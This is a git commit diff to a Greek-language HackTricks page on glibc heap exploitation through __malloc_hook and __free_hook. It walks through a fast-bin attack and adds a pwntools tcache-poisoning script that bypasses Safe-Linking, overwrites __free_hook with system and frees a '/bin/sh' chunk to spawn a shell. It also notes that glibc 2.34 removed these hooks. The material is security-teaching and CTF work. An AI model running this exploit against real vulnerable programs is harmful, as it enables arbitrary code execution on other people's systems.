mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__ma
This commit is contained in:
parent
0dedaff723
commit
28899d6eea
@ -1,4 +1,4 @@
|
||||
# WWW2Exec - \_\_malloc_hook & \_\_free_hook
|
||||
# WWW2Exec - __malloc_hook & __free_hook
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -29,7 +29,7 @@
|
||||
```bash
|
||||
gef➤ p &__free_hook
|
||||
```
|
||||
[Στην ανάρτηση](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) μπορείτε να βρείτε έναν οδηγό βήμα προς βήμα για το πώς να εντοπίσετε τη διεύθυνση του free hook χωρίς σύμβολα. Ως σύνοψη, στη συνάρτηση free:
|
||||
[Στην ανάρτηση](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) μπορείτε να βρείτε έναν οδηγό βήμα προς βήμα για το πώς να εντοπίσετε τη διεύθυνση του free hook χωρίς σύμβολα. Ως περίληψη, στη συνάρτηση free:
|
||||
|
||||
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
|
||||
0xf75dedc0 <free>: push ebx
|
||||
@ -45,7 +45,7 @@ gef➤ p &__free_hook
|
||||
|
||||
Στο αναφερόμενο σημείο διακοπής στον προηγούμενο κώδικα, στο `$eax` θα βρίσκεται η διεύθυνση του free hook.
|
||||
|
||||
Τώρα εκτελείται μια **fast bin attack**:
|
||||
Τώρα εκτελείται μια **γρήγορη επίθεση bin**:
|
||||
|
||||
- Πρώτα απ' όλα, ανακαλύπτεται ότι είναι δυνατό να εργαστούμε με γρήγορες **chunks μεγέθους 200** στην τοποθεσία **`__free_hook`**:
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
@ -56,15 +56,80 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
- Εάν καταφέρουμε να αποκτήσουμε μια γρήγορη chunk μεγέθους 0x200 σε αυτή την τοποθεσία, θα είναι δυνατό να αντικαταστήσουμε έναν δείκτη συνάρτησης που θα εκτελείται
|
||||
- Για αυτό, δημιουργείται μια νέα chunk μεγέθους `0xfc` και καλείται η συγχωνευμένη συνάρτηση με αυτόν τον δείκτη δύο φορές, με αυτόν τον τρόπο αποκτούμε έναν δείκτη σε μια ελεύθερη chunk μεγέθους `0xfc*2 = 0x1f8` στο fast bin.
|
||||
- Στη συνέχεια, καλείται η συνάρτηση edit σε αυτή την chunk για να τροποποιήσει τη διεύθυνση **`fd`** αυτού του fast bin ώστε να δείχνει στην προηγούμενη συνάρτηση **`__free_hook`**.
|
||||
- Στη συνέχεια, δημιουργείται μια chunk με μέγεθος `0x1f8` για να ανακτηθεί από το fast bin η προηγούμενη άχρηστη chunk, ώστε να δημιουργηθεί άλλη μια chunk μεγέθους `0x1f8` για να αποκτήσουμε μια γρήγορη chunk στο **`__free_hook`** που αντικαθίσταται με τη διεύθυνση της συνάρτησης **`system`**.
|
||||
- Και τελικά, μια chunk που περιέχει τη συμβολοσειρά `/bin/sh\x00` απελευθερώνεται καλώντας τη συνάρτηση διαγραφής, ενεργοποιώντας τη συνάρτηση **`__free_hook`** που δείχνει στη system με `/bin/sh\x00` ως παράμετρο.
|
||||
- Εάν καταφέρουμε να αποκτήσουμε μια γρήγορη chunk μεγέθους 0x200 σε αυτή την τοποθεσία, θα είναι δυνατό να αντικαταστήσουμε έναν δείκτη συνάρτησης που θα εκτελείται.
|
||||
- Για αυτό, δημιουργείται μια νέα chunk μεγέθους `0xfc` και καλείται η συγχωνευμένη συνάρτηση με αυτόν τον δείκτη δύο φορές, με αυτόν τον τρόπο αποκτούμε έναν δείκτη σε μια ελεύθερη chunk μεγέθους `0xfc*2 = 0x1f8` στο γρήγορο bin.
|
||||
- Στη συνέχεια, καλείται η συνάρτηση επεξεργασίας σε αυτή τη chunk για να τροποποιήσει τη διεύθυνση **`fd`** αυτού του γρήγορου bin ώστε να δείχνει στην προηγούμενη συνάρτηση **`__free_hook`**.
|
||||
- Έπειτα, δημιουργείται μια chunk με μέγεθος `0x1f8` για να ανακτηθεί από το γρήγορο bin η προηγούμενη άχρηστη chunk, ώστε να δημιουργηθεί άλλη μια chunk μεγέθους `0x1f8` για να αποκτήσουμε μια γρήγορη chunk στο **`__free_hook`** που αντικαθίσταται με τη διεύθυνση της συνάρτησης **`system`**.
|
||||
- Και τελικά, μια chunk που περιέχει τη συμβολοσειρά `/bin/sh\x00` απελευθερώνεται καλώντας τη συνάρτηση διαγραφής, ενεργοποιώντας τη συνάρτηση **`__free_hook`** που δείχνει στη system με το `/bin/sh\x00` ως παράμετρο.
|
||||
|
||||
---
|
||||
|
||||
## Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33)
|
||||
|
||||
Η glibc 2.32 εισήγαγε το **Safe-Linking** – μια έλεγχο ακεραιότητας που προστατεύει τις *μοναδικά* συνδεδεμένες λίστες που χρησιμοποιούνται από **tcache** και γρήγορα bins. Αντί να αποθηκεύει έναν ακατέργαστο δείκτη προώθησης (`fd`), η ptmalloc τώρα τον αποθηκεύει *κρυπτογραφημένο* με την παρακάτω μακροεντολή:
|
||||
```c
|
||||
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
|
||||
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
|
||||
```
|
||||
Συνέπειες για την εκμετάλλευση:
|
||||
|
||||
1. Μια **heap leak** είναι υποχρεωτική – ο επιτιθέμενος πρέπει να γνωρίζει την τιμή χρόνου εκτέλεσης του `chunk_addr >> 12` για να δημιουργήσει έναν έγκυρο παραποιημένο δείκτη.
|
||||
2. Μόνο ο *πλήρης* 8-byte δείκτης μπορεί να παραποιηθεί; οι μερικές υπεργραφές ενός byte δεν θα περάσουν τον έλεγχο.
|
||||
|
||||
Μια ελάχιστη primitive tcache-poisoning που υπεργράφει το `__free_hook` σε glibc 2.32/2.33 φαίνεται λοιπόν ως εξής:
|
||||
```py
|
||||
from pwn import *
|
||||
|
||||
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
|
||||
p = process("./vuln")
|
||||
|
||||
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
|
||||
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
|
||||
heap_base = heap_leak & ~0xfff
|
||||
fd_key = heap_base >> 12 # value used by PROTECT_PTR
|
||||
log.success(f"heap @ {hex(heap_base)}")
|
||||
|
||||
# 2. Prepare two same-size chunks and double-free one of them
|
||||
a = malloc(0x48)
|
||||
b = malloc(0x48)
|
||||
free(a)
|
||||
free(b)
|
||||
free(a) # tcache double-free ⇒ poisoning primitive
|
||||
|
||||
# 3. Forge obfuscated fd that points to __free_hook
|
||||
free_hook = libc.sym['__free_hook']
|
||||
poison = free_hook ^ fd_key
|
||||
edit(a, p64(poison)) # overwrite fd of tcache entry
|
||||
|
||||
# 4. Two mallocs: the second one returns a pointer to __free_hook
|
||||
malloc(0x48) # returns chunk a
|
||||
c = malloc(0x48) # returns chunk @ __free_hook
|
||||
edit(c, p64(libc.sym['system']))
|
||||
|
||||
# 5. Trigger
|
||||
bin_sh = malloc(0x48)
|
||||
edit(bin_sh, b"/bin/sh\x00")
|
||||
free(bin_sh)
|
||||
```
|
||||
Το απόσπασμα παραπάνω προσαρμόστηκε από πρόσφατες προκλήσεις CTF όπως το *UIUCTF 2024 – «Rusty Pointers»* και το *openECSC 2023 – «Babyheap G»*, και οι δύο οποίες βασίστηκαν σε παρακάμψεις Safe-Linking για να αντικαταστήσουν το `__free_hook`.
|
||||
|
||||
---
|
||||
|
||||
## Τι άλλαξε στη glibc ≥ 2.34;
|
||||
|
||||
Αρχής γενομένης από τη **glibc 2.34 (Αύγουστος 2021)**, οι hooks κατανομής `__malloc_hook`, `__realloc_hook`, `__memalign_hook` και `__free_hook` **αφαιρέθηκαν από το δημόσιο API και δεν καλούνται πλέον από τον αλγόριθμο κατανομής**. Οι συμβολισμοί συμβατότητας εξακολουθούν να εξάγονται για παλαιά δυαδικά αρχεία, αλλά η αντικατάστασή τους δεν επηρεάζει πλέον τη ροή ελέγχου του `malloc()` ή του `free()`.
|
||||
|
||||
Πρακτική συνέπεια: σε σύγχρονες διανομές (Ubuntu 22.04+, Fedora 35+, Debian 12, κ.λπ.) πρέπει να στραφείτε σε *άλλες* μεθόδους hijack (IO-FILE, `__run_exit_handlers`, vtable spraying, κ.λπ.) διότι οι αντικαταστάσεις hooks θα αποτύχουν σιωπηλά.
|
||||
|
||||
Αν χρειάζεστε ακόμα τη παλιά συμπεριφορά για αποσφαλμάτωση, η glibc παρέχει το `libc_malloc_debug.so` το οποίο μπορεί να φορτωθεί εκ των προτέρων για να επανενεργοποιήσει τους παλαιούς hooks – αλλά η βιβλιοθήκη **δεν προορίζεται για παραγωγή και μπορεί να εξαφανιστεί σε μελλοντικές εκδόσεις**.
|
||||
|
||||
---
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||
- Safe-Linking – Eliminating a 20 year-old malloc() exploit primitive (Check Point Research, 2020)
|
||||
- glibc 2.34 release notes – removal of malloc hooks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user